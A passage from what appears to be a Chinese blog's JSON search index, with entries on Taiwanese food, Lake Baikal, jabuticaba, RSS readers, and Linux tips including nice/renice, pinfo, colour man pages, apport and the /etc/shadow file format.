壓縮檔，讓機密資料加上密碼保護"},{"content":"這是台南西港最有名的菜粽，其實他的店名是蓮華素食，但是在西港大家都會直接講西港菜粽，因為它的菜粽太有名了，而他的店面就在西港慶安宮對面的菜市場裡，從早餐賣到午餐，生意一直都很好，旁邊賣菜的阿婆說他們的菜粽便宜又好吃，所以常常供不應求，生意是那裡最好的。\n我早上去吃早餐，一個菜粽二十五元， 一碗麻醬麵三十元， 一盤這樣的小菜三十元，兩個人可以吃到很飽，真的很便宜又好吃，在北部這些東西至少要一百多，而且不見得東西有這麼好吃。\n其實台語所謂的菜粽不是包菜的，而是素食粽子的意思，他們的菜粽好吃秘訣在於他們的醬料，自己煮過的醬汁加上花生粉，第一次去吃的時候還想說這東西有沒有加錯，不過吃了才發現這樣配起來真的很好吃，醬汁中帶點甘甜且又有花生的香味，我猜他們應該有用甘草去熬那個醬汁，真的太好吃了，這幾天我都是六點多跟我老婆騎著腳踏車去那裡吃，吃完又買了兩三個回家。:)\n這家速食的菜單除了上方的大招牌之外，下面還有兩個喔。\n這加素食小吃因為在市場裡，所以許多外地人並不知道有這麼好吃的素食，如果你到西港慶安宮進香拜拜，就可以走過去吃吃看，首先從慶安宮大門看出去，就會看到停車場，\n停車場的後方就是通往市場的巷子，就在品臻素食養生館旁邊，\n牌子上寫著「西港公有零售市場」，從這條巷子走進去。\n走過這條巷子之後，正前方就會看到蓮華素食的招牌了。\n這家素食因為在市場裡面，所以營業時間也跟市場一樣，只開到中午左右，如果是下午的時間就沒有營業了。\n","permalink":"https://blog.gtwang.org/life/vegetable-dumplings-snack-in-sigang/","summary":"\u003cp\u003e這是台南\u003ca href=\"https://zh.wikipedia.org/wiki/%E8%A5%BF%E6%B8%AF\"\u003e西港\u003c/a\u003e最有名的菜粽，其實他的店名是蓮華素食，但是在西港大家都會直接講西港菜粽，因為它的菜粽太有名了，而他的店面就在\u003ca href=\"https://maps.app.goo.gl/Z2TkDx6P2hX29JBG8\"\u003e西港慶安宮\u003c/a\u003e對面的菜市場裡，從早餐賣到午餐，生意一直都很好，旁邊賣菜的阿婆說他們的菜粽便宜又好吃，所以常常供不應求，生意是那裡最好的。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"P3235003\" loading=\"lazy\" src=\"/life/vegetable-dumplings-snack-in-sigang/P3235003.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e我早上去吃早餐，一個菜粽二十五元， \u003cdel\u003e一碗麻醬麵三十元，\u003c/del\u003e 一盤這樣的小菜三十元，兩個人可以吃到很飽，真的很便宜又好吃，在北部這些東西至少要一百多，而且不見得東西有這麼好吃。\u003c/p\u003e","title":"[食記] 台南西港蓮華素食（菜粽）：慶安宮對面的素食小吃"},{"content":"西伯利亞的貝加爾湖是世界上最古老的湖泊，大約 2,500 萬年前，這一地區發生了一次強烈地震，一大片土地深深地塌陷下去，周圍數百條大小河奔流而來，形成了今日的貝加爾湖。據科學研究指出，貝加爾湖之所以能維持那麼久的壽命，是因湖泊長期處於零下低溫狀態，故不易氧化縮小。\n貝加爾湖呈新月形，長 636 公里，寬 24～79 公里，面積 3 萬 1,494 平方公里，幾乎和台灣一樣大，是亞洲第一大淡水湖，也是世界第七大湖泊。沿岸地震頻繁、溫泉四布，有多達 336 條河注入，其中僅有一條安加拉河為流向北極海的外流河，湖中有 22 島，最大的奧爾洪島長達 71 公里。\n它也是世界最深的湖泊，最深處為 1,940 米，平均深度 740 米，其體積達 2 萬 3,600 立方公里，是世界上容積最大的淡水湖，占全球淡水總量的五分之一，僅次於裏海（7 萬 8,200 立方公里）。倘若全世界的淡水都消失的話，貝加爾湖的湖水量足夠支撐地球生物飲用42年。\n貝加爾湖在冬季裡，大約有五個月的時間（一月到五月）湖面會結冰，而它的湖水因為非常清澈，所以在湖面上往下看大約可以看到腳下 130 英尺深的景象。\n在三月份左右，湖面的冰層因為氣溫與壓力的差異而裂開，加上結霜、風的吹襲與陽光，造成一種很難得的景象，讓碎裂的冰塊好像綠寶石一樣，非常漂亮。\n參考資料 My Modern Met Giblets ","permalink":"https://blog.gtwang.org/funny/lake-baikal-russia-ice-hummocks/","summary":"\u003cp\u003e西伯利亞的\u003ca href=\"https://zh.wikipedia.org/wiki/%E8%B2%9D%E5%8A%A0%E7%88%BE%E6%B9%96\"\u003e貝加爾湖\u003c/a\u003e是世界上最古老的湖泊，大約 2,500 萬年前，這一地區發生了一次強烈地震，一大片土地深深地塌陷下去，周圍數百條大小河奔流而來，形成了今日的貝加爾湖。據科學研究指出，貝加爾湖之所以能維持那麼久的壽命，是因湖泊長期處於零下低溫狀態，故不易氧化縮小。\u003c/p\u003e","title":"貝加爾湖上的綠寶石：亞洲第一大湖結冰景象"},{"content":"嘉寶果（俗稱樹葡萄）又名擬愛神木、美味熱帶葡萄，嘉寶果為幹生花、果樹，常綠灌木，枝葉濃綠繁盛，枝條彎曲側出，樹枝自然開張，樹姿低矮美觀，樹皮乾淨呈灰白或淡褐色。嘉寶果每年三到四月及八到十月春、秋二季開花尤其旺盛，花謝後結果纍纍盛況，非常壯觀。樹高與樹冠可達十到十二公尺，老樹達百年仍可生產，幹光滑，表皮易脫落，葉對生，長卵形或長橢圓形，先端尖，全緣，新葉淡紅色，四季常綠。\n嘉寶果的植苗有七年生、八年生、九年生，具有極高的培養價值；20 年、30 年、40 年以上的整型大樹、高嶺老樹，樹觀優美大方，樹身高挺，頂天立地，枝繁葉茂，長勢旺盛，結果率高。\n一般而言，20 年樹齡的嘉寶果處於生產旺盛階段，逐漸進入產量最高、最穩定的成年期； 30 年樹齡的嘉寶果結果一次可高達 300 斤之多（一年可結果三到五次，原產地巴西或亞馬遜河可高達六次之多）。 伴隨種植時間越長，樹身越高，分枝越多，造型更美，掛果量更多。\n體質優良及高齡老樹常年四季時時更能見其開花結果，俟逢其開花盛況時，僅見滿株枝幹佈滿細緻綿密白花，直可媲美日本櫻花之姿，花味清香淡雅，由於栽培環境不同，樹體營養有別，果實約在花謝後 30 至 50 天成熟，果實球狀，狀似「巨峰葡萄」，又名叫「樹仔葡萄」。\n其果實成長期中的每個階段都可視個人喜好食用，親自品嚐過的人，對其果實柔軟多汁、口感風味獨特、具有特殊芳香氣味，皆讚不絕口，更戲稱其果實是目前時下最新「黑珍珠樹葡萄」，到訪看過的人對其同一樹幹，可以同時開花、結果、成熟果，樹幹會長滿有如「葡萄」的景象都嘖嘖稱奇，其深暗紫色有如「葡萄」般結實纍纍的果實，成串的附著佈滿在樹幹上，看過的民眾都覺得十分特別。\n以下是自己種的樹葡萄開花的情況。\n2013/04/08 開花之後，就會開始結果，以下是結果的照片：\n這是種了大概十幾年的樹葡萄植株：\n樹葡萄成熟之後，就會有鳥來吃，這是被鳥吃過的樹葡萄：\n樹葡萄的果肉是白色的：\n這是採收下來的樹葡萄：\n","permalink":"https://blog.gtwang.org/funny/jabuticaba/","summary":"\u003cp\u003e嘉寶果（俗稱樹葡萄）又名擬愛神木、美味熱帶葡萄，嘉寶果為幹生花、果樹，常綠灌木，枝葉濃綠繁盛，枝條彎曲側出，樹枝自然開張，樹姿低矮美觀，樹皮乾淨呈灰白或淡褐色。嘉寶果每年三到四月及八到十月春、秋二季開花尤其旺盛，花謝後結果纍纍盛況，非常壯觀。樹高與樹冠可達十到十二公尺，老樹達百年仍可生產，幹光滑，表皮易脫落，葉對生，長卵形或長橢圓形，先端尖，全緣，新葉淡紅色，四季常綠。\u003c/p\u003e","title":"樹葡萄（嘉寶果）開花與結果，花苞、花蕊與果實"},{"content":"Google 官方對外宣佈將在今年的 7 月 1 日關閉 Google Reader 閱讀器的服務，而許多習慣使用 Google Reader 閱讀器人對於這個消息應該很煩惱，不過其實除了 Google Reader 閱讀器之外，網路上也有許多其他類似的替代品，以下為大家一一介紹。\nFeedly 適用平台：iOS、Android、Web\nFeedly 是 RSS 閱讀軟體，使用者介面設計的很好，閱讀起來很舒服。而如果是 Google Reader 閱讀器的使用者，可以直接用 Google 的帳號登入 Feedly，這樣 Google Reader 中的資料就會自動複製過來，不需要自己設定，很方便。\nZite 適用平台：iOS、Android、Windows Phone\nZite 是一個很類似 Prismatic 的閱讀軟體，但它專門用於 iPad/iPhone、Android 與 Windows Phone，沒有設計給一般 Desktop 使用的版本。\nPocket 適用平台：iOS、Android、Web\nPocket 是以前的 Read It Later，除了 Desktop 版本之外，Pocket 也有 iPad、iPhone 與 Andorid 的 App，而帳號都是相通的，所以在電腦中看到不錯的文章，就可以直接存進 Pocket 中，有時間的時候，再用 iPad 或是 Android 手機來慢慢看，是個很不錯的軟體。\nNewsBlur 適用平台：iOS、Android、Web\nNewsBlur 是一個即時的 RSS 閱讀軟體，操作介面比較複雜。\nReeder 適用平台：iOS、Mac OS X\nReeder 是專門為了 Apple 的使用者而設計的 RSS 閱讀軟體，他的介面設計完全跟一般 Apple 的應用程式一樣，適合喜歡 Apple Style 的人使用。\nFlipboard 適用平台：iOS、Android\nFlipboard 是一個很熱門的新聞閱讀軟體，它將每篇文章合在一起排版成電子雜誌的型式，閱讀起來很方便，但只有 iOS 與 Android 版本。\nTaptu 適用平台：iOS、Android、Web\nTaptu 是一個不錯的新聞閱讀軟體，跟上面的 Pulse News 類似。\n","permalink":"https://blog.gtwang.org/useful-tools/google-reader-alternative/","summary":"\u003cp\u003eGoogle 官方對外宣佈將在今年的 7 月 1 日關閉 Google Reader 閱讀器的服務，而許多習慣使用 Google Reader 閱讀器人對於這個消息應該很煩惱，不過其實除了 Google Reader 閱讀器之外，網路上也有許多其他類似的替代品，以下為大家一一介紹。\u003c/p\u003e","title":"各種免費 RSS 新聞訂閱軟體與雲端服務：Google Reader 閱讀器的替代品"},{"content":"如果想在網頁上貼上程式碼，最簡單的方式就是使用 \u0026lt;pre\u0026gt; 這個 HTML 標籤，但是這樣貼上去的程式碼會比較不好看，我們可以利用 Vim 裡面的一些功能，將程式碼自動排版之後，再轉換為 HTML 碼，這樣貼上網頁後比較容易閱讀，而且也可以自動處理一些 HTML 中的特殊字元。\n以下是轉換程式碼的教學：\nStep 1\n如果沒有安裝 Vim 的話，請到 Vim 的官方網站下載安裝檔來安裝，Vim 支援各種作業系統，像常用的 Windows、Linux 與 Mac OS X 都有現成的安裝檔可以使用。\nStep 2\n將程式碼貼入 Vim 中。\nStep 3\n排版程式碼，輸入 vim 的指令：\ngg=G Step 4\n設定 syntax，這裡的程式碼是 C++，就輸入：\nsyntax on set syntax=cpp 這樣就會有顏色了。\n如果是其他的程式語言，就要自己選擇適當的 syntax，常用的有 cpp、java、php、perl、python 等，如果想看 Vim 還有支援哪些程式語言，可以到 Vim 安裝目錄下的 syntax 資料夾查閱，通常都有幾百種。\nStep 5\nVim 在把程式碼轉換成 HTML 的時候，預設會使用 CSS 來進行色彩的指定，這種方式對於一般的狀況來說是比較好的，但是我們要產生的 HTML 程式碼是要貼在部落格中的，所以如果有使用 CSS 會很不方便，這裡把 CSS 的功能取消，只使用傳統的 HTML 語法，執行：\nlet html_use_css=0 Step 6\n將程式碼轉換為 HTML 碼，執行：\n:TOhtml Vim 的上半部就是產生的 HTML 程式碼。\nStep 7\n因為我們要把程式碼貼在 \u0026lt;pre\u0026gt; 標籤中，所以這裡不需要 \u0026lt;br\u0026gt;，執行：\n:%s/\u0026lt;br\u0026gt;//g 這樣就可以把上方轉換出來的 HTML 碼貼上部落格了，而如果是貼在部落格或既有的網頁中，就只要把 \u0026lt;body\u0026gt; 與 \u0026lt;/body\u0026gt; 之間的 HTML 程式碼複製起來再貼上去即可。\nStep 8\n上面示範的背景顏色是黑色，如果想更換顏色，可以選擇 Vim 的 Color Scheme：\n因為我的部落格是以白色為背景，所以我這裡也選擇一個白色背景的配色。\n更改好顏色之後，就按照上面相同的做法產生 HTML 碼。\nStep 9\n貼上部落格就會像這樣：\n#include\u0026nbsp;\u0026lt;iostream\u0026gt; #include\u0026nbsp;\u0026lt;cstdlib\u0026gt; int\u0026nbsp;func1(int\u0026nbsp;a) { \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;int\u0026nbsp;b; \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;b= a *\u0026nbsp;2; \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;return\u0026nbsp;b; } int\u0026nbsp;main() { \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;int\u0026nbsp;v =\u0026nbsp;2; \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;int\u0026nbsp;w = func1(v); \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;std::cout \u0026lt;\u0026lt;\u0026nbsp;\"w = \"\u0026nbsp;\u0026lt;\u0026lt; w \u0026lt;\u0026lt; std::endl; \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;return\u0026nbsp;EXIT_SUCCESS; } 經過 Vim 處理過的程式碼會把一些 HTML 的關鍵字元替換掉，例如 \u0026lt; 就要替換成 \u0026amp;lt;，這樣程式碼貼在網頁上才會正常顯示。\n參考資料 vim.wikia.com ","permalink":"https://blog.gtwang.org/web-development/vim-html/","summary":"\u003cp\u003e如果想在網頁上貼上程式碼，最簡單的方式就是使用 \u003ccode\u003e\u0026lt;pre\u0026gt;\u003c/code\u003e 這個 HTML 標籤，但是這樣貼上去的程式碼會比較不好看，我們可以利用 \u003ca href=\"https://www.vim.org/\"\u003eVim\u003c/a\u003e 裡面的一些功能，將程式碼自動排版之後，再轉換為 HTML 碼，這樣貼上網頁後比較容易閱讀，而且也可以自動處理一些 HTML 中的特殊字元。\u003c/p\u003e","title":"使用 Vim 將程式碼排版並產生彩色的 HTML 網頁"},{"content":"在 Linux 中如果要改變程式執行的優先權，可以使用 nice 指令，但如果是執行到一半的程式要更改執行優先權的話，就沒辦法用 nice，這時候就可以使用 renice 這個指令。\nrenice 是專門用於更改正在執行程式的 niceness 值，讓程式在不需要重新執行的情況下，就可以馬上改變執行的優先權，其使用方式如下：\nrenice NUM PID 其中 PID 是行程（想要更改 niceness 值的行程） ID，而 NUM 是新的 niceness 值。\n以下是一些範例：\n將行程 ID 為 2343 的行程 niceness 值設為 19：\nrenice 19 2343 將行程 ID 為 2343 的行程與所有 seal 使用者的行程 niceness 值都加 1：\nrenice +1 2343 -u seal 將行程 ID 為 2343 與 32 的行程、所有 owner 為 daemon 與 root 的行程 niceness 都加 1：\nrenice +1 987 -u daemon root -p 32 一般的使用者只能使用 renice 指令更改自己的的程式 niceness 值，而且 niceness 只能調高不能調低（因為安全性的因素），但如果是 root 則沒有這樣的限制，以 root 權限執行 renice 就可以設定任意行程的 niceness 值，niceness 可以從 -20 到 20（niceness 值如果設為 20 則代表該行程會在整個系統沒有其他的工作時才被執行）。\n參考資料 nixCraft ","permalink":"https://blog.gtwang.org/linux/renice-unixlinux-scheduling-priority/","summary":"\u003cp\u003e在 Linux 中如果要改變程式執行的優先權，可以使用 \u003ca href=\"/linux/linux-nice-scheduling-priority/\"\u003enice\u003c/a\u003e 指令，但如果是執行到一半的程式要更改執行優先權的話，就沒辦法用 nice，這時候就可以使用 \u003ccode\u003erenice\u003c/code\u003e 這個指令。\u003c/p\u003e","title":"使用 renice 指令更改 Unix/Linux 上面程式執行的優先權（Scheduling Priority）"},{"content":"在 Linux 中每個執行中的程式都會有一個 niceness 值，系統的 scheduler 在對每個行程在排程時，就會參考這個數值來決定執行的先後順序，niceness 可用的數值從 -20（最高優先權）到 19（最低優先權），數值越小代表執行優先權越高。這裡介紹如何使用 nice 指令指定程式執行時的 niceness 值。\nniceness 與排程優先權（scheduling priority）是不一樣的，排程優先權是真正決定程式執行的先後順序，而 niceness 值只是提供給 scheduler 參考用，scheduler 甚至可以忽略這個值。\n這是 nice 指令的使用方式：\nnice -n NUM COMMAND 其中 COMMAND 是要執行的程式，而 NUM 就是指定此程式在執行時的 niceness 值。以下是一些使用範例：\n顯示 nice 值 若直接執行 nice 不加任何參數，則會輸出現行的 niceness 值：\nnice 輸出為：\n0 指定 nice 值 指定 niceness 值為 3：\nnice -n 3 command-name 以低優先權執行程式 執行 nice 如果不指定 niceness，則預設會把現行的 niceness 加 10：\nnice nice 輸出為：\n10 可用 nice 值範圍 只有 root 可以指定小於 0 的 niceness 值，一般使用者無法指定小於 0 的 niceness 值。\nnice -n -1 nice 輸出為：\nnice: cannot set niceness: Permission denied 0 sudo nice -n -1 nice 輸出為：\n-1 如果指定超過 19 的 niceness 值，nice 會直接使用 19 做為 niceness 值。\nnice -n 1000 nice 輸出為：\n19 參考資料\nnixCraft 鳥哥的 Linux 私房菜 ","permalink":"https://blog.gtwang.org/linux/linux-nice-scheduling-priority/","summary":"\u003cp\u003e在 Linux 中每個執行中的程式都會有一個 niceness 值，系統的 scheduler 在對每個行程在排程時，就會參考這個數值來決定執行的先後順序，niceness 可用的數值從 \u003ccode\u003e-20\u003c/code\u003e（最高優先權）到 \u003ccode\u003e19\u003c/code\u003e（最低優先權），數值越小代表執行優先權越高。這裡介紹如何使用 \u003ccode\u003enice\u003c/code\u003e 指令指定程式執行時的 niceness 值。\u003c/p\u003e","title":"Linux 的 nice 指令：指定程式執行的排程優先權（Scheduling Priority）"},{"content":"在 Linux 中若要查閱線上手冊，除了最常見的 man page 之外，也有許多文件是以 info 的格式寫成的，之前介紹過 man page 可以藉由指定分頁程式來顯示彩色的文件，而 info 格式的文件也有類似的方式可以讓文件變成彩色的，以下是設定步驟教學。\nStep 1\n安裝 pinfo 套件，如果是 Ubuntu 或 Debian Linux，則可使用 apt 安裝：\nsudo apt-get install pinfo 若為 FreeBSD 則使用 port 安裝：\ncd /usr/ports/misc/pinfo/ \u0026amp;\u0026amp; sudo make install clean Step 2\n接著就用 pinfo 取代原本的 info 指令，例如一般查閱 bash 的 info 文件是這樣：\ninfo bash 將 info 指令換成 pinfo：\npinfo bash Step 3\n將下面的 alias 設定寫入 ~/.bashrc 中，這樣以後如果執行 info 指令就會自動被 pinfo 替代：\nalias info=\u0026#39;pinfo\u0026#39; pinfo 有個特點是它的按鍵操作可以自行定義，預設的定義在 /etc/pinforc 中，如果想自己設定快速鍵或更改預設的設定，可以將這個檔案複製到 ~/.pinforc 之後，再修改它，至於修改方式請參考 pinfo 的 man page。\nman pinfo 參考資料 nixCrast ","permalink":"https://blog.gtwang.org/linux/pinfo-unixlinux-info/","summary":"\u003cp\u003e在 Linux 中若要查閱線上手冊，除了最常見的 man page 之外，也有許多文件是以 \u003ccode\u003einfo\u003c/code\u003e 的格式寫成的，之前介紹過 man page 可以藉由\u003ca href=\"/linux/unix-linux-color-man-pages-configuration/\"\u003e指定分頁程式來顯示彩色的文件\u003c/a\u003e，而 \u003ccode\u003einfo\u003c/code\u003e 格式的文件也有類似的方式可以讓文件變成彩色的，以下是設定步驟教學。\u003c/p\u003e","title":"pinfo：在 Unix/Linux 中顯示彩色的 info 文件"},{"content":"Linux 中的 /etc/shadow 這個檔案是用來儲存 Linux 帳號真實密碼與其於相關資訊的地方，其中的內容每一行都對應到 /etc/passwd 中的一個帳號，而不同欄位之間以冒號（:）分隔，就像這樣：\n/etc/passwd 總共有九個欄位，接下來我們說明各個欄位的含義。\n1. 登入名稱（login name） 登入時輸入的帳號名稱。\n2. 加密的密碼（encrypted password） 經過 crypt 加密過的密碼，如果這裡所儲存的內容不符合 crypt 加密的輸出格式（例如包含 * 或 ! 等特殊字元），則此使用者就無法登入。\n如果這個欄位內容的第一個字元是驚嘆號（!），則表示這個密碼目前已經被鎖定，無法登入，而驚嘆號後面剩餘的字串就是被鎖定之前的密碼。\n這個欄位可以如果是空的話，則該使用者就可以不用密碼登入系統，但會使用到 /etc/shadow 的應用程式，可以自行決定是否要接受無密碼的狀況。\n在自己的系統如果忘記 root 密碼時，就可以用 Linux 安裝光碟開機進到救援模式（或使用現在常見的 Linux Live 光碟），把這個欄位清空，這樣就可以用 root 登入重設密碼。\n3. 上次密碼變更日期（date of last password change） 紀錄上一次密碼變更的日期，此數值是從 1970 年 1 月 1 日算起的天數。\n如果此欄位的數值為 0，則表示此使用者在下一次登入系統時，必須馬上變更密碼。\n如果此欄位是空的，則代表密碼的使用期限與最短變更間隔功能被停用（也就是密碼不會過期，可以一直用，而且可以任意並更密碼）。\n4. 密碼最短使用期限（minimum password age） 指定兩次變更密碼最短必須間隔多久，也就是說在變更密碼之後，如果還要在更改一次密碼，就必須再等這麼久，單位為天。\n如果此欄位為 0 或是空字串，則代表關閉密碼最短變更間隔的功能。\n5. 密碼最長使用期限（maximum password age） 指定一組密碼最久可以使用多久，也就是密碼在變更之後，最多只能使用這麼久，然後就要更改密碼，單位為天。\n當密碼過期之後，密碼還是可以使用，但是在下一次登入時，系統就會要求使用者立即變更密碼。\n如果此欄位是空的，則代表停用密碼的最長使用期限功能。\n若密碼最長使用期限的設定值小於最短使用期限，則此使用者就會不能更改自己的密碼。\n6. 密碼過期警告期限（password warning period） 設定在密碼過期前多久，對使用者提出警告訊息，單位為天。\n如果此欄位為 0 或是空字串，則代表關閉密碼過期警告的功能。\n7. 密碼暫停使用期間（password inactivity period） 設定當密碼過期後，讓使用者還有多久的時間可以登入更改密碼，單位為天。\n如果密碼過期之後，又超過這麼久的時間沒有登入更改密碼，則密碼就會被停用，無法登入，這時候就要由系統管理者處理了。\n如果這個欄位是空的，就代表此功能被停用。\n8. 帳號過期時間（account expiration date） 此帳號過期的時間點，此數值是從 1970 年 1 月 1 日算起的天數。\n帳號過期與密碼過期不同，帳號過期是指不管密碼是否有問題都不能登入，而密碼過期則是因為太久沒變更密碼，導致登入時密碼失效而無法登入。\n如果這個欄位是空的，就代表此帳號不會過期，可以一直使用。\n9. 保留欄位（reserved field） 最後一個欄位目前沒有被使用，作為保留欄位。\n在正常的狀況下，/etc/shadow 這個檔案應該是只有 root 可以讀取，\nls -l /etc/shadow 輸出應該會像這樣：\n-rw-r----- 1 root shadow 1066 1月 19 10:53 /etc/shadow 所以如果想自己研究這個檔案，必須要有 root 權限。\n參考資料 nixCraft Man page of shadow(5) ","permalink":"https://blog.gtwang.org/linux/linux-etc-shadow-file-format/","summary":"\u003cp\u003eLinux 中的 \u003ccode\u003e/etc/shadow\u003c/code\u003e 這個檔案是用來儲存 Linux 帳號真實密碼與其於相關資訊的地方，其中的內容每一行都對應到 \u003ccode\u003e/etc/passwd\u003c/code\u003e 中的一個帳號，而不同欄位之間以冒號（\u003ccode\u003e:\u003c/code\u003e）分隔，就像這樣：\u003c/p\u003e","title":"Linux 的 /etc/shadow 檔案結構：儲存真實密碼的地方"},{"content":"今天天氣不錯，早上到竹北天后宮旁邊買早餐，碰到三芝鄉小基隆福成宮金面媽祖回鑾，又剛好有帶相機去，就找個好位子拍個幾張相片，以前在竹北不常碰到這種活動，最近好像這種宗教祈福活動有比較多。\n","permalink":"https://blog.gtwang.org/funny/zhubei-mazu/","summary":"\u003cp\u003e今天天氣不錯，早上到竹北天后宮旁邊買早餐，碰到三芝鄉小基隆福成宮金面媽祖回鑾，又剛好有帶相機去，就找個好位子拍個幾張相片，以前在竹北不常碰到這種活動，最近好像這種宗教祈福活動有比較多。\u003c/p\u003e","title":"竹北天后宮恭送三芝鄉小基隆福成宮金面媽祖回鑾"},{"content":"在一般的 Unix 與 Linux 系統中，如果要查詢線上說明文件，最常用的工具就是 man page，而傳統上的 man page 都是像這樣，文字排版沒有太多的變化。\n如果想讓 man page 加上顏色，可以安裝 most 這個分頁程式（paging program），讓 man page 更容易閱讀，以下是安裝與設定步驟。\nStep 1\n安裝 most，如果是 Ubuntu 或 Debian Linux，則可使用 apt 安裝：\nsudo apt-get install most 如果是 Fedora / RHEL / SL / CentOS Linux，設定好 RPMForge 之後，則可使用 yam 安裝：\nsudo yum install most FreeBSD 則使用 port 安裝：\ncd /usr/ports/sysutils/most/ sudo make install clean 或使用 pkg_add 直接安裝編譯好的 binary 檔：\nsudo pkg_add -r most Step 2\n設定 PAGER 環境變數，一般的 Linux 系統預設的 shell 應該都是 bash，其設定方式如下：\nexport PAGER=\u0026#34;most\u0026#34; 或\nexport PAGER=\u0026#34;/usr/bin/most -s\u0026#34; 建議可以直接將這個設定寫進 ~/.bashrc 中。\ncsh 或 tcsh 的設定方式：\nsetenv PAGER /usr/local/bin/most Step 3\n使用 man 指令觀看線上手冊。\nmsn ls 這樣 man page 就會是彩色的了。\n以下是 most 中可用的指令：\nQuitting: Q Quit MOST. :N,:n Quit this file and view next. (Use UP/DOWN arrow keys to select next file.) Movement: SPACE, D *Scroll down one Screen. U, DELETE *Scroll Up one screen. RETURN, DOWN *Move Down one line. UP *Move Up one line. T Goto Top of File. B Goto Bottom of file. \u003e , TAB Scroll Window right \u003c Scroll Window left RIGHT Scroll Window left by 1 column LEFT Scroll Window right by 1 column J, G Goto line. % Goto percent. Window Commands: Ctrl-X 2, Ctrl-W 2 Split window. Ctrl-X 1, Ctrl-W 1 Make only one window. O, Ctrl-X O Move to other window. Ctrl-X 0 Delete Window. Searching: S, f, / *Search forward ? *Search Backward N *Find next in current search direction. Miscellaneous: W Toggle width between 80 and 132 char mode. Ctrl-X Ctrl-F Read a file from disk R, Ctrl-R Redraw Screen. F Simulate tail -f mode :o Toggle options: b-binary, w-wrap, t-tab E Edit file. Uses MOST_EDITOR and EDITOR environment variables. *Note: This command may be repeated `n' times By entering a number then the command key, e.g., '5 SPACE' moves 5 screens forward. 參考資料 nixCrast Tecmint ","permalink":"https://blog.gtwang.org/linux/unix-linux-color-man-pages-configuration/","summary":"\u003cp\u003e在一般的 Unix 與 Linux 系統中，如果要查詢線上說明文件，最常用的工具就是 man page，而傳統上的 man page 都是像這樣，文字排版沒有太多的變化。\u003c/p\u003e\n\u003cp\u003e如果想讓 man page 加上顏色，可以安裝 \u003ca href=\"https://www.jedsoft.org/most/\"\u003emost\u003c/a\u003e 這個分頁程式（paging program），讓 man page 更容易閱讀，以下是安裝與設定步驟。\u003c/p\u003e","title":"在 Unix/Linux 中顯示彩色的 Man Page 文件"},{"content":"在 Ubuntu Linux 的桌面環境中，如果系統出現問題時，就會跳出這個回報問題的視窗。\n以下介紹如何關掉這個煩人的回報功能。\n在終端機中執行：\ngksu gedit /etc/default/apport 將 enabled 選項從 1 更改為 0，就像這樣：\nenabled=0 這樣問題回報（apport）的功能就會被關閉，下次重新開機後就不會執行了。\n如果想關閉目前正在執行的 apport 服務，可以執行：\nsudo service apport stop 而如果之後要重新開啓這個問題回報功能，就只要再把 enabled 改為 1 就可以了。\n","permalink":"https://blog.gtwang.org/linux/disable-ubuntu-system-crash-dialogs/","summary":"\u003cp\u003e在 Ubuntu Linux 的桌面環境中，如果系統出現問題時，就會跳出這個回報問題的視窗。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"report\" loading=\"lazy\" src=\"/linux/disable-ubuntu-system-crash-dialogs/report.png\"\u003e\u003c/p\u003e\n\u003cp\u003e以下介紹如何關掉這個煩人的回報功能。\u003c/p\u003e\n\u003cp\u003e在終端機中執行：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-sh\" data-lang=\"sh\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003egksu gedit /etc/default/apport\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e","title":"關閉 Ubuntu Linux 回報問題功能"},{"content":"許多人會從網路上（如：YouTube、土豆網或優酷等）下載一些影片到自己的電腦中觀看，而下載下來的影片常常會是 FLV 這種串流媒體格式檔案，這種檔案格式沒辦法在 Windows 中直接播放。\n這裡介紹一個免安裝、而且超迷你的 FLV 影片播放軟體 FLV Player nano，他只有 17K 的大小，直接下載後即可播放 FLV 影片檔，很方便，以下是使用步驟。\nStep 1\n連到 FLV Player nano 網站，下載繁體中文的版本。\nStep 2\n下載後就直接執行，然後從「檔案」選單中開啓 FLV 影片即可觀看。\nStep 3\n如果要把這個 FLV Player nano 設為 FLV 檔案的預設播放程式，就把下載下來的執行檔放在一個固定不會搬動的地方（例如 C:\\Program Files\\ 資料夾中），然後開啟 FLV Player nano，選擇「檔案」中的「設定為預設 FLV 播放程式」。\n這樣以後只要開啟 FLV 影片檔時，就會使用 FLV Player nano 播放了。\n","permalink":"https://blog.gtwang.org/useful-tools/flv-player-nano-flv/","summary":"\u003cp\u003e許多人會從網路上（如：YouTube、土豆網或優酷等）下載一些影片到自己的電腦中觀看，而下載下來的影片常常會是 FLV 